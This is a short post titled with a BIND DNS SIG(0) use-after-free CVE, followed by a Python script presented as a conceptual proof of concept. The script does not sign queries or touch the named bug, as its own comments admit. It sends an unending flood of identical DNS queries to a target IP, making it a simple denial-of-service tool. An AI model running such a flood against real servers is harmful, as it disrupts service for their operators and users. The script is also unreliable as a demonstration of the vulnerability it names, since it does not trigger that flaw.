CVE-2026-5947 BIND DNS SIG(0)验证释放后重用漏洞

import socket import struct # Conceptual PoC for CVE-2026-5947 # This script demonstrates sending a high volume of DNS queries to target a BIND server. # To trigger the specific SIG(0) race condition, queries would need to be signed with SIG(0). # In a real scenario, an attacker would flood the server to hit the 'recursive-clients' limit. def send_dns_flood(target_ip, target_port=53): # Create a raw DNS query packet (simplified) # ID: 0x1234, Flags: 0x0100 (Standard query), QDCOUNT: 1 dns_header = struct.pack('!HHHHHH', 0x1234, 0x0100, 1, 0, 0, 0) # Query: example.com, Type A, Class IN query = b'\x07example\x03com\x00' + struct.pack('!HH', 1, 1) packet = dns_header + query sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) try: print(f"[*] Flooding {target_ip} with DNS queries...") while True: sock.sendto(packet, (target_ip, target_port)) except KeyboardInterrupt: print("\n[*] Stopped.") finally: sock.close() if __name__ == "__main__": # Replace with target IP TARGET = "192.168.1.1" send_dns_flood(TARGET)